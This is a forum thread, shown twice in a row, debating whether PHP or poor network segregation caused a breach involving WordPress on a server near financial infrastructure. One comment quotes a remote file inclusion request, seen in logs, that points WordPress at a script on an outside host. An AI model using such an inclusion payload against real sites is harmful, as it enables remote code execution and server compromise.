6 ms·

I like how they tried to come up with answers to most peoples criticisms. Why on earth would you have Wordpress hosted in the same network as the one with acce

by jamez1 12y ago

I like how they tried to come up with answers to most peoples criticisms. Why on earth would you have Wordpress hosted in the same network as the one with access to your critical infrastructure? That wouldn't fly in any finance shop, and they at least they have insurance.

koberstein 12y ago
That shouldn't fly anywhere.
dscrd 12y ago
Why would they have a host with PHP installed on the same server where money is handled?! Totally irresponsible. I'm being serious. Unless you have Facebook's resources (and probably not even then) DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! If you are, start a migration process today. Whatever you think it'll cost, it'll be worth it. If you cannot decide from the billions of choices out there, go with Go. It's hardly perfect, but way better and simple.
- sanswork 12y ago
  Which features of Go would you say make it inherently more secure to use than php given the same developer?
  - dscrd 12y ago
    1. That you do not require any part of Go (except the obvious ones that are inside the compiled binary) to exist on the live server. 2. That Go is designed as a programming language.
    - sanswork 12y ago
      1. That would be an issue of environment configuration not language. 2. This is saying nothing. C is designed as a programming language but it's certainly possible to shoot your foot off with it as well. Go isn't going to protect you from using exec in a dumb way, or from unsanitized data by default, or by screwing up your file outputs.
- ukigumo 12y ago
  It may come as a surprise to many, but on high security services such as banks, servers that handle critical data cannot have any build tools installed or usable. Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.
  - dscrd 12y ago
    >Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies. Proof is right there in the article. To have PHP on the live server is a security risk, period.
    - sanswork 12y ago
      Having a general purpose blog system on the same server(and sharing the same database credentials and having the ability to write files) is a security risk it has nothing to do with the availability of php.
      - ukigumo 12y ago
        My point exactly. If instead of wordpress they had a copy of some other big-old-java-thingie it would have been just as exploitable.
    - ukigumo 12y ago
      I disagree. Having poor security "hygiene" is dangerous, the tools that you select to shoot yourself in the foot are less important than having a hardened server with minimal services and installed software (and host intrusion detection, etc..)
  - feld 12y ago
    That's BS obscurity. If they can get a shell they can download a compiler anyway.
    - 12y ago
- nadams 12y ago
  > DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work: > wpadmin.php?include=http://someothersite.com/some-bad-script.php http://someothersite.com/some-bad-script.php I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts. However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection. Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".
spacemanmatt 12y ago
I note a lot of downvotes for comments generally blaming PHP for this hack. That is sad and reflects a significant failure to grasp history. PHP has been a security problem from day 1. Wordpress has only increased the scope of attack surfaces, as well as introduced a popular application which is itself susceptible to compromise. I've seen arguments that PHP is the root cause of those application vulnerabilities, but I tend to aim even lower and point to application developers who use PHP. Unless your core app is in PHP and all your efforts go to securing that thing, there is no justification for allowing PHP on a production network. It is not a trivial thing to secure.
- sanswork 12y ago
  That's because blaming the language for this hack is silly and simple minded. php had nothing to do with the multitude of failures in basic security practices that happened here.
  - spacemanmatt 12y ago
    No, it's not, because PHP is hack on top of hack, and forces programmers into a persistent defensive posture. This is what happens when you force developers and sysadmins into defensive posture.
    - sanswork 12y ago
      Which language doesn't require a programmer to be in a persistent defensive posture when dealing with bad actors?
      - spacemanmatt 12y ago
        Fine, you can always find a defense, but my basic point is that PHP forces you to find them all. Many languages do not threaten to undermine very reasonable code in entirely unreasonable ways. I thought PHP would be great, when I was a junior sysadmin with programming aspirations and that CGI stuff looked like a hot mess. Today, I recognize it as a fractal of bad design. http://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/ http://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/

by jamez1 12y ago

koberstein 12y ago

That shouldn't fly anywhere.

dscrd 12y ago

Why would they have a host with PHP installed on the same server where money is handled?! Totally irresponsible. I'm being serious. Unless you have Facebook's resources (and probably not even then) DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! If you are, start a migration process today. Whatever you think it'll cost, it'll be worth it. If you cannot decide from the billions of choices out there, go with Go. It's hardly perfect, but way better and simple.

sanswork 12y ago
Which features of Go would you say make it inherently more secure to use than php given the same developer?
- dscrd 12y ago
  1. That you do not require any part of Go (except the obvious ones that are inside the compiled binary) to exist on the live server. 2. That Go is designed as a programming language.
  - sanswork 12y ago
    1. That would be an issue of environment configuration not language. 2. This is saying nothing. C is designed as a programming language but it's certainly possible to shoot your foot off with it as well. Go isn't going to protect you from using exec in a dumb way, or from unsanitized data by default, or by screwing up your file outputs.
ukigumo 12y ago
It may come as a surprise to many, but on high security services such as banks, servers that handle critical data cannot have any build tools installed or usable. Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.
- dscrd 12y ago
  >Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies. Proof is right there in the article. To have PHP on the live server is a security risk, period.
  - sanswork 12y ago
    Having a general purpose blog system on the same server(and sharing the same database credentials and having the ability to write files) is a security risk it has nothing to do with the availability of php.
    - ukigumo 12y ago
      My point exactly. If instead of wordpress they had a copy of some other big-old-java-thingie it would have been just as exploitable.
  - ukigumo 12y ago
    I disagree. Having poor security "hygiene" is dangerous, the tools that you select to shoot yourself in the foot are less important than having a hardened server with minimal services and installed software (and host intrusion detection, etc..)
- feld 12y ago
  That's BS obscurity. If they can get a shell they can download a compiler anyway.
  - 12y ago
nadams 12y ago
> DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work: > wpadmin.php?include=http://someothersite.com/some-bad-script.php http://someothersite.com/some-bad-script.php I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts. However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection. Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".

spacemanmatt 12y ago

I note a lot of downvotes for comments generally blaming PHP for this hack. That is sad and reflects a significant failure to grasp history. PHP has been a security problem from day 1. Wordpress has only increased the scope of attack surfaces, as well as introduced a popular application which is itself susceptible to compromise. I've seen arguments that PHP is the root cause of those application vulnerabilities, but I tend to aim even lower and point to application developers who use PHP. Unless your core app is in PHP and all your efforts go to securing that thing, there is no justification for allowing PHP on a production network. It is not a trivial thing to secure.

sanswork 12y ago
That's because blaming the language for this hack is silly and simple minded. php had nothing to do with the multitude of failures in basic security practices that happened here.
- spacemanmatt 12y ago
  No, it's not, because PHP is hack on top of hack, and forces programmers into a persistent defensive posture. This is what happens when you force developers and sysadmins into defensive posture.
  - sanswork 12y ago
    Which language doesn't require a programmer to be in a persistent defensive posture when dealing with bad actors?
    - spacemanmatt 12y ago
      Fine, you can always find a defense, but my basic point is that PHP forces you to find them all. Many languages do not threaten to undermine very reasonable code in entirely unreasonable ways. I thought PHP would be great, when I was a junior sysadmin with programming aspirations and that CGI stuff looked like a hot mess. Today, I recognize it as a fractal of bad design. http://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/ http://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/